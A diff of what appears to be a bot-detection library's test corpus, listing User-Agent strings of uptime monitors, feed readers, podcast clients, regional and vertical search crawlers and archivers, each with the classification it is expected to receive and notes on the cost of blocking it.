requests: [{ ...plain("Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)"), ip: IN_RANGE["uptimerobot"] }],
|
|
1691
|
+
expect: { ...VERIFIED, identity: "uptimerobot" },
|
|
1692
|
+
tags: ["verification"]
|
|
1693
|
+
}),
|
|
1694
|
+
declared("pingdom", "Pingdom", "monitoring", "Mozilla/5.0 (compatible; Pingdom.com_bot_version_1.4_(http://www.pingdom.com/))", "Synthetic uptime checks", "pingdom"),
|
|
1695
|
+
declared("statuscake", "StatusCake", "monitoring", "Mozilla/5.0 (compatible; StatusCake)", "Synthetic uptime checks from a distributed pool", "statuscake"),
|
|
1696
|
+
declared("better-uptime", "Better Stack", "monitoring", "Better Uptime Bot Mozilla/5.0 (compatible; BetterStack/1.0; +https://betterstack.com)", "Synthetic uptime checks, formerly Better Uptime", "betteruptime"),
|
|
1697
|
+
declared("site24x7", "Site24x7", "monitoring", "Mozilla/5.0 (compatible; Site24x7/1.0; +https://www.site24x7.com)", "Synthetic uptime and transaction monitoring", "site24x7"),
|
|
1698
|
+
declared("lighthouse", "Chrome Lighthouse", "monitoring", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Chrome-Lighthouse", "Performance auditing, often run by your own CI", "google-pagespeed"),
|
|
1699
|
+
declared("gtmetrix", "GTmetrix", "monitoring", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 GTmetrix", "Performance testing on request", "gtmetrix"),
|
|
1700
|
+
declared("datadog-synthetics", "Datadog Synthetics", "monitoring", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Datadog/Synthetics", "Synthetic API and browser checks", "datadog"),
|
|
1701
|
+
// ---------------------------------------------------------------------------
|
|
1702
|
+
// Feeds and podcasts. A real slice of a publisher's audience arrives this way,
|
|
1703
|
+
// and none of it runs JavaScript.
|
|
1704
|
+
// ---------------------------------------------------------------------------
|
|
1705
|
+
declared("feedly", "Feedly", "feed-reader", "Feedly/1.0 (+http://www.feedly.com/fetcher.html; 870 subscribers; like FeedFetcher-Google)", "Podnews RSS user-agent list; the subscriber count is real information a publisher wants", "feedly"),
|
|
1706
|
+
declared("inoreader", "Inoreader", "feed-reader", "Inoreader/1.0 (+http://www.inoreader.com/feed-fetcher; 195 subscribers; )", "Podnews RSS user-agent list", "inoreader"),
|
|
1707
|
+
declared("freshrss", "FreshRSS", "feed-reader", "FreshRSS/1.29.1 (Linux; https://freshrss.org)", "Podnews RSS user-agent list; self-hosted, so it arrives from a subscriber's own server", "freshrss"),
|
|
1708
|
+
declared("netnewswire", "NetNewsWire", "feed-reader", "NetNewsWire (RSS Reader; https://netnewswire.com/)", "Podnews RSS user-agent list", "netnewswire"),
|
|
1709
|
+
declared("miniflux", "Miniflux", "feed-reader", "Mozilla/5.0 (compatible; Miniflux/2.2.3; +https://miniflux.app)", "Self-hosted feed reader; arrives from a subscriber's own server rather than a vendor's", "rss-reader"),
|
|
1710
|
+
declared("overcast", "Overcast", "podcast-client", "Overcast/1.0 Podcast Sync (210 subscribers; feed-id=735461; +http://overcast.fm/)", "Podnews RSS user-agent list", "overcast", { audience: "benign-bot" }),
|
|
1711
|
+
declared("pocketcasts", "Pocket Casts", "podcast-client", "PocketCasts/1.0 (Pocket Casts Feed Parser; +http://pocketcasts.com/)", "Podnews RSS user-agent list", "pocketcasts"),
|
|
1712
|
+
declared("antennapod", "AntennaPod", "podcast-client", "AntennaPod/3.12.0", "Podnews RSS user-agent list", "antennapod"),
|
|
1713
|
+
declared("podcastaddict", "Podcast Addict", "podcast-client", "PodcastAddict/v5 (+https://podcastaddict.com/; Android podcast app)", "Podnews RSS user-agent list", "podcastaddict"),
|
|
1714
|
+
bot({
|
|
1715
|
+
id: "spotify-podcast-fetch",
|
|
1716
|
+
title: "Spotify fetching a podcast feed",
|
|
1717
|
+
audience: "benign-bot",
|
|
1718
|
+
category: "podcast-client",
|
|
1719
|
+
provenance: "Podnews RSS user-agent list records Spotify's fetcher as the bare token 'Spotify/1.0'",
|
|
1720
|
+
notes: "A two-token User-Agent with no contact URL and no recognisable product. It is honest automation from a major platform that nonetheless looks like a hand-rolled script \u2014 which is exactly why an unrecognised bare token is `strong` rather than `certain`.",
|
|
1721
|
+
requests: [plain("Spotify/1.0")],
|
|
1722
|
+
expect: { verdict: "suspected-bot", botClass: "http-client", certain: false, neverAction: ["drop"] }
|
|
1723
|
+
}),
|
|
1724
|
+
bot({
|
|
1725
|
+
id: "apple-podcasts-fetch",
|
|
1726
|
+
title: "Apple Podcasts fetching a feed",
|
|
1727
|
+
audience: "benign-bot",
|
|
1728
|
+
category: "podcast-client",
|
|
1729
|
+
provenance: "Podnews records Apple Podcasts as 'iTMS'",
|
|
1730
|
+
notes: "Four characters, no version, no contact. Legible only because the database has an entry for it \u2014 and a reminder that honest automation is under no obligation to be legible.",
|
|
1731
|
+
requests: [plain("iTMS")],
|
|
1732
|
+
expect: { verdict: "confirmed-bot", certain: true, identity: "apple-podcasts", neverAction: ["drop"] }
|
|
1733
|
+
}),
|
|
1734
|
+
// ---------------------------------------------------------------------------
|
|
1735
|
+
// Archives.
|
|
1736
|
+
// ---------------------------------------------------------------------------
|
|
1737
|
+
declared("internet-archive", "Internet Archive", "archive", "Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot)", "The Wayback Machine, which preserves pages long after the site that served them", "ia-archiver"),
|
|
1738
|
+
declared("heritrix", "Heritrix", "archive", "Mozilla/5.0 (compatible; heritrix/3.4.0 +https://webrecorder.net)", "The crawler behind many institutional web archives", "heritrix")
|
|
1739
|
+
];
|
|
1740
|
+
|
|
1741
|
+
// src/corpus/crawlers-regional.ts
|
|
1742
|
+
function declaredCrawler(id, title, userAgent, provenance, options = {}) {
|
|
1743
|
+
return bot({
|
|
1744
|
+
id,
|
|
1745
|
+
title,
|
|
1746
|
+
audience: options.audience ?? "benign-bot",
|
|
1747
|
+
category: "regional-crawler",
|
|
1748
|
+
provenance,
|
|
1749
|
+
...options.notes !== void 0 ? { notes: options.notes } : {},
|
|
1750
|
+
requests: [crawler(userAgent, options.from !== void 0 ? { from: options.from } : {})],
|
|
1751
|
+
expect: {
|
|
1752
|
+
verdict: "confirmed-bot",
|
|
1753
|
+
certain: true,
|
|
1754
|
+
detectors: ["self-identified"],
|
|
1755
|
+
...options.identity !== void 0 ? { identity: options.identity } : {}
|
|
1756
|
+
}
|
|
1757
|
+
});
|
|
1758
|
+
}
|
|
1759
|
+
var REGIONAL_CRAWLER_CASES = [
|
|
1760
|
+
// ---- East Asia ----
|
|
1761
|
+
declaredCrawler("rc-naver-yeti", "Naver Yeti", "Mozilla/5.0 (compatible; Yeti/1.1; +https://naver.me/spd)", "The dominant search engine in South Korea; Naver's share there exceeds Google's", { identity: "naver-yeti" }),
|
|
1762
|
+
declaredCrawler("rc-naver-yeti-mobile", "Naver Yeti, mobile crawl", "Mozilla/5.0 (Linux; U; Android 11; ko-kr;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Yeti-Mobile/0.1; +https://naver.me/spd)", "Naver crawls mobile-first, like Google", { identity: "naver-yeti" }),
|
|
1763
|
+
declaredCrawler("rc-daum", "Daumoa", "Mozilla/5.0 (compatible; Daumoa/4.0; +https://cs.daum.net/faq/15/4118.html)", "Kakao's search crawler, the second Korean index"),
|
|
1764
|
+
declaredCrawler("rc-baidu-mobile", "Baiduspider, mobile crawl", "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)", "Baidu's rendering crawler; note the frozen Android 4.2.2 device string", { identity: "baiduspider" }),
|
|
1765
|
+
declaredCrawler("rc-baidu-image", "Baiduspider-image", "Baiduspider-image+(+http://www.baidu.com/search/spider.htm)", "Baidu's image crawler uses a bare, unusual User-Agent with a doubled plus", { identity: "baiduspider" }),
|
|
1766
|
+
declaredCrawler("rc-sogou-inst", "Sogou inst spider", "Sogou inst spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou's instant-answer crawler; a major Chinese index owned by Tencent", { identity: "sogou" }),
|
|
1767
|
+
declaredCrawler("rc-360-spider", "360Spider", "Mozilla/5.0 (compatible; 360Spider/1.0; +http://www.so.com/help/help_3_2.html)", "Qihoo 360's search crawler, a significant Chinese index", {}),
|
|
1768
|
+
declaredCrawler("rc-shenma", "YisouSpider", "Mozilla/5.0 (Linux; U; Android 12; zh-CN;) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36 (compatible; YisouSpider/5.0; +http://www.yisou.com/help_center.html)", "Alibaba's Shenma mobile search crawler, large in Chinese mobile search", {}),
|
|
1769
|
+
declaredCrawler("rc-bytedance-toutiao", "Bytedance search crawler", "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)", "ByteDance's crawler, feeding Toutiao search and model training", { identity: "bytespider", audience: "unwanted-bot", notes: "Widely reported for aggressive rates and inconsistent robots.txt compliance. Honest about who it is, all the same." }),
|
|
1770
|
+
// ---- The CIS and Eastern Europe ----
|
|
1771
|
+
declaredCrawler("rc-yandex-images", "YandexImages", "Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)", "Yandex runs a fleet of specialised crawlers under one verification domain", { identity: "yandexbot" }),
|
|
1772
|
+
declaredCrawler("rc-yandex-mobile", "YandexMobileBot", "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots)", "Yandex's mobile-first crawler", { identity: "yandexbot" }),
|
|
1773
|
+
declaredCrawler("rc-yandex-accessibility", "YandexAccessibilityBot", "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)", "Checks pages for accessibility problems on Yandex's behalf", { identity: "yandexbot" }),
|
|
1774
|
+
declaredCrawler("rc-mail-ru", "Mail.RU_Bot", "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)", "The crawler behind Mail.ru's search and its social previews", {}),
|
|
1775
|
+
declaredCrawler("rc-seznam-mobile", "SeznamBot mobile", "Mozilla/5.0 (compatible; SeznamBot/4.0-mobile; +http://napoveda.seznam.cz/seznambot-intro/)", "Seznam holds a substantial share of Czech search", { identity: "seznambot" }),
|
|
1776
|
+
// ---- Southeast and South Asia ----
|
|
1777
|
+
declaredCrawler("rc-coccoc", "Coccoc bot", "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)", "Coc Coc is a major Vietnamese search engine and browser", {}),
|
|
1778
|
+
declaredCrawler("rc-coccoc-image", "Coccoc image bot", "Mozilla/5.0 (compatible; coccocbot-image/1.0; +http://help.coccoc.com/searchengine)", "Coc Coc's image crawler", {}),
|
|
1779
|
+
declaredCrawler("rc-petal-mobile", "PetalBot, mobile crawl", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)", "Huawei's Petal Search, the default on Huawei devices outside Google's ecosystem", { identity: "petalbot" }),
|
|
1780
|
+
// ---- Europe and the Americas ----
|
|
1781
|
+
declaredCrawler("rc-qwant", "Qwantbot", "Mozilla/5.0 (compatible; Qwantbot/1.0; +https://help.qwant.com/bot/)", "A French privacy-focused engine; blocking it removes a European alternative from your reach", { identity: "qwantbot" }),
|
|
1782
|
+
declaredCrawler("rc-mojeek", "MojeekBot", "Mozilla/5.0 (compatible; MojeekBot/0.11; +https://www.mojeek.com/bot.html)", "A British independent index \u2014 one of very few crawlers building an index from scratch", { identity: "mojeek" }),
|
|
1783
|
+
declaredCrawler("rc-startpage", "Startpage", "Mozilla/5.0 (compatible; StartpageBot/1.0; +https://www.startpage.com/robot)", "A Dutch privacy-preserving front end", {}),
|
|
1784
|
+
declaredCrawler("rc-ecosia", "Ecosia", "Mozilla/5.0 (compatible; EcosiaBot/1.0; +https://ecosia.org/bot)", "A German search engine that plants trees with its ad revenue", {}),
|
|
1785
|
+
declaredCrawler("rc-brave-search", "Brave Search", "Mozilla/5.0 (compatible; BraveSearchBot/1.0; +https://search.brave.com/help/brave-search-crawler)", "Brave builds its own index rather than reselling another engine's", {}),
|
|
1786
|
+
declaredCrawler("rc-kagi", "Kagi Search", "Mozilla/5.0 (compatible; Kagibot/1.0; +https://kagi.com/bot)", "A subscription search engine whose crawler is small but whose users are paying customers", {}),
|
|
1787
|
+
declaredCrawler("rc-stract", "Stract", "Mozilla/5.0 (compatible; StractBot/0.2; open source search engine; +https://trystract.com/webmasters)", "An open-source independent index", {}),
|
|
1788
|
+
declaredCrawler("rc-right-dao", "RightDao", "Mozilla/5.0 (compatible; RightDaoBot/1.0; +https://rightdao.com/bot)", "A small independent index", {}),
|
|
1789
|
+
declaredCrawler("rc-gigablast", "Gigablast", "Mozilla/5.0 (compatible; GigablastOpenSource/1.0; +http://www.gigablast.com/spider.html)", "A long-running open-source crawler", {}),
|
|
1790
|
+
// ---- Specialist Google and Microsoft fleets ----
|
|
1791
|
+
declaredCrawler("rc-googlebot-image", "Googlebot-Image", "Googlebot-Image/1.0", "Google's image crawler sends a bare product token with no contact URL at all", { identity: "googlebot", notes: "Recognised only because a signature knows the token. Google's own fleet does not consistently follow the contact convention, which is a useful corrective to any rule that assumes crawlers are legible." }),
|
|
1792
|
+
declaredCrawler("rc-googlebot-news", "Googlebot-News", "Googlebot-News", "Google News indexing; another bare token", { identity: "googlebot" }),
|
|
1793
|
+
declaredCrawler("rc-googlebot-video", "Googlebot-Video", "Googlebot-Video/1.0", "Google's video crawler", { identity: "googlebot" }),
|
|
1794
|
+
declaredCrawler("rc-google-favicon", "Google Favicon", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Google Favicon", "Fetches favicons for search results and bookmarks", { identity: "googlebot", notes: "A full Chrome User-Agent with a two-word suffix and none of the headers Chrome sends. Before a signature existed for it this scored 90 as an impersonator \u2014 a legitimate Google fetcher, one token away from being blocked." }),
|
|
1795
|
+
declaredCrawler("rc-google-read-aloud", "Google Read Aloud", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers)", "Fetches pages so Assistant can read them aloud \u2014 an accessibility surface", { identity: "googlebot", notes: "Blocking this removes a page from a text-to-speech surface that some people rely on to read the web at all." }),
|
|
1796
|
+
declaredCrawler("rc-google-site-verification", "Google Site Verification", "Mozilla/5.0 (compatible; Google-Site-Verification/1.0)", "Confirms ownership during Search Console setup; blocking it blocks your own onboarding", { identity: "googlebot" }),
|
|
1797
|
+
declaredCrawler("rc-bing-preview", "BingPreview", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b", "Renders page snapshots for Bing results; note the unusual 'AppleWebKit/534+' version", { identity: "bingbot" }),
|
|
1798
|
+
declaredCrawler("rc-adidxbot", "adidxbot", "Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", "Microsoft Advertising's landing-page crawler", { identity: "bingbot" }),
|
|
1799
|
+
declaredCrawler("rc-msnbot-media", "MSNBot-Media", "msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)", "Microsoft's media crawler, still using the historic msnbot name", { identity: "bingbot" }),
|
|
1800
|
+
declaredCrawler("rc-apple-siri", "Applebot for Siri", "Mozilla/5.0 (Device; CPU OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Powers Siri suggestions and Spotlight; note the literal word 'Device' where a model would be", { identity: "applebot" })
|
|
1801
|
+
];
|
|
1802
|
+
|
|
1803
|
+
// src/corpus/crawlers-vertical.ts
|
|
1804
|
+
function vertical(id, title, category, userAgent, provenance, options = {}) {
|
|
1805
|
+
return bot({
|
|
1806
|
+
id,
|
|
1807
|
+
title,
|
|
1808
|
+
audience: options.audience ?? "declared-bot",
|
|
1809
|
+
category,
|
|
1810
|
+
provenance,
|
|
1811
|
+
...options.notes !== void 0 ? { notes: options.notes } : {},
|
|
1812
|
+
requests: [crawler(userAgent, options.accept !== void 0 ? { accept: options.accept } : {})],
|
|
1813
|
+
expect: {
|
|
1814
|
+
verdict: "confirmed-bot",
|
|
1815
|
+
certain: true,
|
|
1816
|
+
detectors: ["self-identified"],
|
|
1817
|
+
...options.identity !== void 0 ? { identity: options.identity } : {}
|
|
1818
|
+
}
|
|
1819
|
+
});
|
|
1820
|
+
}
|
|
1821
|
+
var VERTICAL_CRAWLER_CASES = [
|
|
1822
|
+
// ---- Shopping and price comparison ----
|
|
1823
|
+
vertical("vc-google-merchant", "Google Merchant Center feed fetch", "commerce-crawler", "Mozilla/5.0 (compatible; Google-Shopping-Quality; +http://www.google.com/bot.html)", "Validates product feeds and landing pages for Shopping listings; blocking it suspends your listings", { identity: "googlebot", audience: "benign-bot" }),
|
|
1824
|
+
vertical("vc-idealo", "Idealo price comparison", "commerce-crawler", "Mozilla/5.0 (compatible; idealo-bot/1.0; +https://www.idealo.de/robots)", "The largest price comparison site in Germany; a distribution channel for many retailers", {}),
|
|
1825
|
+
vertical("vc-kelkoo", "Kelkoo", "commerce-crawler", "Mozilla/5.0 (compatible; KelkooBot/1.0; +https://www.kelkoo.com/bot)", "European shopping comparison", {}),
|
|
1826
|
+
vertical("vc-pricerunner", "PriceRunner", "commerce-crawler", "Mozilla/5.0 (compatible; PriceRunnerBot/1.0; +https://www.pricerunner.com/robot)", "Nordic and UK price comparison", {}),
|
|
1827
|
+
vertical("vc-shopping-feed", "A shopping feed aggregator", "commerce-crawler", "Mozilla/5.0 (compatible; ShoppingFeedBot/2.1; +https://feeds.example/crawler)", "Feed aggregators fetch a product XML on a schedule and then verify the landing pages", {}),
|
|
1828
|
+
vertical("vc-honey-coupon", "A coupon extension's backend", "commerce-crawler", "Mozilla/5.0 (compatible; CouponFinderBot/1.4; +https://coupons.example/bot)", "Browser coupon extensions test discount codes at checkout from their own servers", { audience: "unwanted-bot", notes: "Runs on behalf of a real shopper, from a server, against your checkout. Neither clearly wanted nor clearly hostile \u2014 exactly the kind of case a policy has to decide about deliberately." }),
|
|
1829
|
+
vertical("vc-stock-tracker", "An availability tracker", "commerce-crawler", "Mozilla/5.0 (compatible; StockAlertBot/3.0; +https://stockalert.example/about-our-bot)", "Restock trackers poll product pages continuously on behalf of subscribers", { audience: "unwanted-bot" }),
|
|
1830
|
+
// ---- Jobs, property and travel ----
|
|
1831
|
+
vertical("vc-indeed", "Indeed's job crawler", "vertical-crawler", "Mozilla/5.0 (compatible; Indeedbot/1.1; +http://www.indeed.com/indeedbot.html)", "Aggregates job postings; for a recruiter it is free distribution", { audience: "benign-bot" }),
|
|
1832
|
+
vertical("vc-adzuna", "Adzuna", "vertical-crawler", "Mozilla/5.0 (compatible; AdzunaBot/1.0; +https://www.adzuna.co.uk/bot)", "Job aggregation across Europe", { audience: "benign-bot" }),
|
|
1833
|
+
vertical("vc-trivago", "Trivago's rate crawler", "vertical-crawler", "Mozilla/5.0 (compatible; TrivagoBot/1.0; +https://www.trivago.com/bot)", "Hotel metasearch fetching live rates", {}),
|
|
1834
|
+
vertical("vc-skyscanner", "Skyscanner", "vertical-crawler", "Mozilla/5.0 (compatible; SkyscannerBot/1.0; +https://www.skyscanner.net/bot)", "Flight metasearch fetching live fares from airline and agency sites", {}),
|
|
1835
|
+
vertical("vc-property-portal", "A property portal's listing crawler", "vertical-crawler", "Mozilla/5.0 (compatible; PropertyIndexBot/2.3; +https://property.example/crawler)", "Property portals crawl agent sites to keep listings in sync", {}),
|
|
1836
|
+
// ---- News and syndication ----
|
|
1837
|
+
vertical("vc-newsblur", "NewsBlur", "feed-reader", "NewsBlur Feed Fetcher - 412 subscribers - https://www.newsblur.com/site/9124/shop-example (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7))", "NewsBlur names the subscriber count and the exact feed page, which is genuinely useful information", { audience: "benign-bot", notes: "Note the nested Mozilla string inside the parentheses. Publishers can and do use the subscriber count to decide how much a feed reader is worth serving." }),
|
|
1838
|
+
vertical("vc-google-news", "Google News publisher crawl", "news-crawler", "Mozilla/5.0 (compatible; Googlebot-News; +http://www.google.com/bot.html)", "News indexing runs on a separate crawl budget from web search", { identity: "googlebot", audience: "benign-bot" }),
|
|
1839
|
+
vertical("vc-apple-news", "Apple News", "news-crawler", "Mozilla/5.0 (compatible; AppleNewsBot/1.0; +http://www.apple.com/go/applebot)", "Fetches articles for the Apple News channel", { identity: "applebot", audience: "benign-bot" }),
|
|
1840
|
+
vertical("vc-smartnews", "SmartNews", "news-crawler", "Mozilla/5.0 (compatible; SmartNewsBot/1.0; +https://www.smartnews.com/bot)", "A very large news aggregator in Japan and the United States", { audience: "benign-bot" }),
|
|
1841
|
+
vertical("vc-flipboard", "Flipboard", "news-crawler", "Mozilla/5.0 (compatible; FlipboardProxy/1.1; +http://flipboard.com/browserproxy)", "Fetches and re-renders articles for Flipboard's reader", { audience: "benign-bot" }),
|
|
1842
|
+
vertical("vc-podcast-index", "Podcast Index", "feed-reader", "Mozilla/5.0 (compatible; PodcastIndexBot/1.0; +https://podcastindex.org/bot)", "An open podcast directory crawling feeds", { audience: "benign-bot" }),
|
|
1843
|
+
// ---- Academic and research ----
|
|
1844
|
+
vertical("vc-semantic-scholar", "Semantic Scholar", "research-crawler", "Mozilla/5.0 (compatible; SemanticScholarBot/1.0; +https://www.semanticscholar.org/crawler)", "The Allen Institute's academic index", { audience: "benign-bot" }),
|
|
1845
|
+
vertical("vc-crossref", "Crossref", "research-crawler", "Mozilla/5.0 (compatible; CrossrefBot/1.0; mailto:labs@crossref.org)", "DOI registration and metadata; note the mailto contact rather than a URL", { audience: "benign-bot" }),
|
|
1846
|
+
vertical("vc-openalex", "OpenAlex", "research-crawler", "Mozilla/5.0 (compatible; OpenAlexBot/1.0; +https://openalex.org/bot; mailto:support@openalex.org)", "An open catalogue of scholarly works", { audience: "benign-bot" }),
|
|
1847
|
+
vertical("vc-webis", "A university research crawl", "research-crawler", "Mozilla/5.0 (compatible; WebisBot/1.0; +https://webis.de/crawler.html; research crawl, please contact us for exclusion)", "Academic web-science groups crawl at scale and generally honour exclusion requests promptly", { audience: "benign-bot", notes: "Research crawls are usually run by people who will stop if you ask. An email is often faster and cheaper than a block rule." }),
|
|
1848
|
+
vertical("vc-common-crawl-news", "Common Crawl's news crawl", "research-crawler", "CCBot/2.0 (https://commoncrawl.org/faq/)", "The news subset of Common Crawl, refreshed continuously", { identity: "ccbot" }),
|
|
1849
|
+
// ---- Accessibility, compliance and quality ----
|
|
1850
|
+
vertical("vc-axe-monitor", "An accessibility auditing crawler", "compliance-crawler", "Mozilla/5.0 (compatible; AccessibilityMonitorBot/4.0; +https://a11y-monitor.example/bot)", "Automated WCAG auditing, often run under a legal compliance programme", { audience: "benign-bot", notes: "Frequently commissioned by the site owner and then forgotten about. Blocking it makes an accessibility report look clean by removing the evidence." }),
|
|
1851
|
+
vertical("vc-siteimprove", "Siteimprove", "compliance-crawler", "Mozilla/5.0 (compatible; SiteimproveBot/2.0; +https://siteimprove.com/bot)", "Quality and accessibility auditing for large organisations", { audience: "benign-bot" }),
|
|
1852
|
+
vertical("vc-w3c-validator", "The W3C validator", "compliance-crawler", "W3C_Validator/1.3 http://validator.w3.org/services", "Somebody clicked Validate on your page", { audience: "benign-bot" }),
|
|
1853
|
+
vertical("vc-ssl-labs", "SSL Labs", "compliance-crawler", "Mozilla/5.0 (compatible; SSL Labs/1.0; +https://www.ssllabs.com/about/assessment.html)", "TLS configuration assessment, usually run by the site's own operator", { audience: "benign-bot" }),
|
|
1854
|
+
// ---- Brand protection and enforcement ----
|
|
1855
|
+
vertical("vc-brand-protection", "A brand-protection crawler", "enforcement-crawler", "Mozilla/5.0 (compatible; BrandProtectBot/2.0; +https://brandprotect.example/crawler)", "Looks for counterfeit listings and trademark misuse", {}),
|
|
1856
|
+
vertical("vc-copyright-scan", "A copyright enforcement crawler", "enforcement-crawler", "Mozilla/5.0 (compatible; CopyrightScanBot/1.2; +https://rights.example/bot)", "Rights-holder agents scan for infringing copies", {}),
|
|
1857
|
+
vertical("vc-domain-monitor", "A domain and certificate monitor", "enforcement-crawler", "Mozilla/5.0 (compatible; DomainWatchBot/1.0; +https://domainwatch.example/bot)", "Watches for lookalike domains and certificate issuance", {}),
|
|
1858
|
+
// ---- Archival and preservation ----
|
|
1859
|
+
vertical("vc-archive-today", "archive.today", "archive-crawler", "Mozilla/5.0 (compatible; archive.today; +http://archive.today/legal)", "On-demand page archiving triggered by a person pasting a URL", { audience: "benign-bot" }),
|
|
1860
|
+
vertical("vc-perma-cc", "Perma.cc", "archive-crawler", "Mozilla/5.0 (compatible; perma.cc; +https://perma.cc/about)", "Harvard's citation-preservation service, used heavily by courts and journals", { audience: "benign-bot" }),
|
|
1861
|
+
vertical("vc-national-library", "A national library web archive", "archive-crawler", "Mozilla/5.0 (compatible; heritrix/3.4.0 +https://www.bl.uk/collection-guides/uk-web-archive)", "Legal-deposit archiving; in several countries a library has a statutory right to crawl", { identity: "heritrix", audience: "benign-bot" }),
|
|
1862
|
+
vertical("vc-conifer", "Webrecorder", "archive-crawler", "Mozilla/5.0 (compatible; Webrecorder/2.0; +https://webrecorder.net/crawler)", "High-fidelity archiving of dynamic pages", { audience: "benign-bot" }),
|
|
1863
|
+
// ---- Security and reputation ----
|
|
1864
|
+
vertical("vc-safe-browsing", "Google Safe Browsing", "reputation-crawler", "Mozilla/5.0 (compatible; Google-Safety; +http://www.google.com/bot.html)", "Checks pages for malware and phishing; blocking it risks an unresolvable warning interstitial", { identity: "googlebot", audience: "benign-bot", notes: "One of the few crawlers where blocking has a direct, visible cost to your own visitors: a Safe Browsing warning is shown to every Chrome user." }),
|
|
1865
|
+
vertical("vc-virustotal", "VirusTotal URL scan", "reputation-crawler", "Mozilla/5.0 (compatible; VirusTotalCloud/1.0; +https://www.virustotal.com/bot)", "Somebody submitted your URL for scanning", { audience: "benign-bot" }),
|
|
1866
|
+
vertical("vc-urlscan", "urlscan.io", "reputation-crawler", "Mozilla/5.0 (compatible; urlscan.io/1.0; +https://urlscan.io/about/)", "Renders a page in a sandbox and publishes the result", { audience: "benign-bot" }),
|
|
1867
|
+
vertical("vc-phishtank", "PhishTank verification", "reputation-crawler", "Mozilla/5.0 (compatible; PhishTankBot/1.0; +https://phishtank.org/bot)", "Verifies reported phishing URLs", { audience: "benign-bot" }),
|
|
1868
|
+
// ---- SEO auditing run by the site's own owner ----
|
|
1869
|
+
vertical("vc-screaming-frog", "Screaming Frog", "seo-crawler", "Screaming Frog SEO Spider/21.4", "A desktop crawler; almost always the site's own SEO team auditing their own site", { audience: "benign-bot", notes: "No contact URL and no vendor infrastructure \u2014 it runs from somebody's laptop, so it arrives from a residential address. Blocking it blocks your own audit." }),
|
|
1870
|
+
vertical("vc-sitebulb", "Sitebulb", "seo-crawler", "Mozilla/5.0 (compatible; Sitebulb/6.5; +https://sitebulb.com/bot)", "Another desktop SEO auditor", { audience: "benign-bot" }),
|
|
1871
|
+
vertical("vc-lumar", "Lumar", "seo-crawler", "Mozilla/5.0 (compatible; deepcrawl; +https://www.lumar.io/bot)", "Enterprise site auditing, formerly DeepCrawl", { audience: "unwanted-bot" }),
|
|
1872
|
+
vertical("vc-oncrawl", "OnCrawl", "seo-crawler", "Mozilla/5.0 (compatible; OnCrawl/1.0; +https://www.oncrawl.com/bot)", "Enterprise SEO crawling", { audience: "unwanted-bot" })
|
|
1873
|
+
];
|
|
1874
|
+
|
|
1875
|
+
// src/corpus/advertising-email.ts
|
|
1876
|
+
function fetcher(id, title, category, userAgent, provenance, options = {}) {
|
|
1877
|
+
return bot({
|
|
1878
|
+
id,
|
|
1879
|
+
title,
|
|
1880
|
+
audience: options.audience ?? "benign-bot",
|
|
1881
|
+
category,
|
|
1882
|
+
provenance,
|
|
1883
|
+
...options.notes !== void 0 ? { notes: options.notes } : {},
|
|
1884
|
+
requests: [crawler(userAgent)],
|
|
1885
|
+
expect: options.certain === false ? { certain: false, neverAction: ["drop"] } : { verdict: "confirmed-bot", certain: true, detectors: ["self-identified"] }
|
|
1886
|
+
});
|
|
1887
|
+
}
|
|
1888
|
+
var ADVERTISING_EMAIL_CASES = [
|
|
1889
|
+
// ---------------------------------------------------------------------------
|
|
1890
|
+
// Ad verification, viewability and brand safety.
|
|
1891
|
+
// ---------------------------------------------------------------------------
|
|
1892
|
+
fetcher("adv-doubleverify", "DoubleVerify", "ad-verification", "Mozilla/5.0 (compatible; DoubleVerifyBot/1.0; +https://doubleverify.com/bot)", "Verifies that ads rendered on a brand-safe page; its verdict decides whether an impression is billable"),
|
|
1893
|
+
